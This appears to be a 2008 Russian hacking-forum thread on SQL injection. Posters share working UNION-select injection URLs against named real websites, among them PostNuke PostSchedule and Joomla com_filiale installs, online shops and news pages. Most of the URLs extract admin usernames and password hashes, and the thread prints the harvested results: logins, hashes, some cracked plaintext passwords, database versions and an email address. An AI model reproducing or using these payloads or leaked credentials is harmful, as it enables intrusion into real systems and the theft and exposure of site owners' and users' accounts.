SQL Инъекции

24.04.2008, 07:00

chekist

Reservists Of Antichat - Level 6

Регистрация: 14.11.2007

Сообщений: 177

С нами: 9731846

Репутация: 622

помогите составить запрос, инекция после order и limit

SELECT p.*, a.id AS agentid, a.name AS agent, a.user AS user, c.name AS company, c.id AS companyid, t.name AS type, p.type AS typeid
FROM mos_hp_properties AS p, mos_hp_companies AS c
LEFT JOIN mos_hp_agents AS a ON p.agent = a.id
LEFT JOIN mos_hp_prop_types AS t ON p.type = t.id
LEFT JOIN mos_hp_featured AS f ON f.property = p.id
WHERE p.published='1' AND p.approved='1' AND t.published='1'
AND a.company=c.id
AND (publish_up = '0000-00-00 00:00:00' OR publish_up <= NOW())
AND (publish_down = '0000-00-00 00:00:00' OR publish_down >= NOW())
AND (p.name LIKE '%1%' OR p.address LIKE '%1%' OR p.suburb LIKE '%1%'
OR p.state LIKE '%1%' OR p.country LIKE '%1%' OR p.intro_text LIKE '%1%'
OR p.full_text LIKE '%1%')
AND p.type=1
ORDER BY p.price asc
LIMIT [sql]

𝕏 Twitter Reddit Telegram Копировать ссылку

24.04.2008, 12:54

~~it's my~~

Banned

Регистрация: 29.09.2007

Сообщений: 512

С нами: 9798146

Репутация: 1224

хз вроде движок какого-то онлайн магазина:

Код:

http://www.odissey.kiev.ua/index.php?fullnews=-1+union+select+1,2,3,4,5/*

Код:

http://shop.ghettostreet.ru/index.php?fullnews=-1+union+select+1,2,3,4,5/*

админка по адресу хттп://сайт/admin/

24.04.2008, 16:23

bag

Участник форума

Регистрация: 06.03.2008

Сообщений: 105

С нами: 9568860

Репутация: 146

Код:

http://www.filmthreat.com/index.php?section=reviews&Id=9999999999999'/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,concat_ws(0x3a,user,password),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+mysql.user+limit+0,1/*

5.0.27
by admin:4ba58ad82e059055

Код:

http://innovateonline.info/index.php?view=article&id=999999999/**/UNION/**/SELECT/**/version()/*

5.0.24a-community-nt

24.04.2008, 20:28

Doom123

Постоянный

Регистрация: 11.11.2006

Сообщений: 834

С нами: 10262314

Репутация: 668

Код:

https://www.lina2.ru/clans/index.php?showclan=-1+union+select+login,password+from+accounts/*

Код:

http://www.lina2.ru/clans/index.php?showclan=-268520741+union+select+concat(table_schema,0x3a,ta  ble_name,0x3a,column_name),null+from+information_s  chema.columns+where+table_schema+like+0x6C3225/*

25.04.2008, 19:27

CaNNabi$

Познающий

Регистрация: 21.01.2008

Сообщений: 85

С нами: 9633635

Репутация: 338

Postnuke Mod PostSchedule SQL Vuln

Код:

http://www.cpxsports.com/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

cpxAdmin:4fbf5fbba0800c1c0b6b7a33ff88155f

Код:

http://www.psp-vault.com/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

zmcnulty:ebf2de34b9c2b48b4abf5554816eb872

Код:

http://www.exactas.org/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

janus:bbcf33804c68e36630f938010413be58

Код:

http://www.lasvanskadolina.net/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

yadranko:cf9df8b725f3cd7607f30927a18d0bb2
yadranko:h5555yangtze

Код:

http://www.aifonline.it/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

adminworm:6730d9c3a47d9229d98cab97f2ddd089

Код:

http://www.frisktigers.no/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

Admin:0eb7e1f71974d5e5ae01a801d9395dfb
Admin:iceman

Код:

http://www.kaeferteamuenchen.de/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

hkoerber:5a3fc01488cb3a9e6e2ef4f87bb9daef

Код:

http://www.ungmor.dk/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

Admin:3b353f8d757cdf65c913f2711df7734a

Код:

http://www.wpi.pl/index.php?module=PostSchedule&view=event&eid=-1')+union+select+0,1,2,3,4,5,6,7,8,concat(pn_uname,char(58),pn_pass),10,11,12,13/**/from/**/nuke_users/**/where/**/pn_uid=2/*

wpi:6141afd4bec62ee61428cf9cef93c08f

Joomla (com_filiale)

Код:

http://www.brustart.be/index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10,11+from+jos_users
http://www.gimb.be/index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10,11+from+jos_users

#10

25.04.2008, 02:43

gibson

Постоянный

Регистрация: 24.02.2006

Сообщений: 447

С нами: 10636106

Репутация: 705

mccormick-intl.com

Цитата:

http://www.mccormick-intl.com/news_detail.php?nid=-1+union+select+name,password,3,4,5+from+users/*
Abi Harris
abi
abi@fifthelement.uk.com
4.0.13-nt:mccormi

acieap.com

Цитата:

http://www.acieap.com/news_detail.php?nid=-1+union+select+1,concat_ws(0x3a,version(),database (),user()

),3,4/*
5.0.20-nt:annclark:annclark@localhost

annclarkassociates.com

Цитата:

http://www.annclarkassociates.com/news_detail.php?nid=-1+union+select+1,concat_ws(0x3a,version(),datab

ase(),user()),3,4/*

5.0.20-nt:annclark:annclark@localhost
admin
user
pass

afoundation.org.uk

Цитата:

http://www.afoundation.org.uk/greenlandstreet/details.php?id=-1+union+select+1,2,3,3,3,3,3,3,3,3,3,3,3

,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3/*

picoworld.com

Цитата:

http://www.picoworld.com/ourwork/details.php?id=31+union+select+1,2,3,4,5,6,7,8,9,0 ,1,2,3,4,5,6,7,8,9,

0/*

petees.com

Цитата:

http://www.petees.com/details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9,0,1,2,3,4,5

,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*

Внести депозит

Депозит создан

Вывести депозит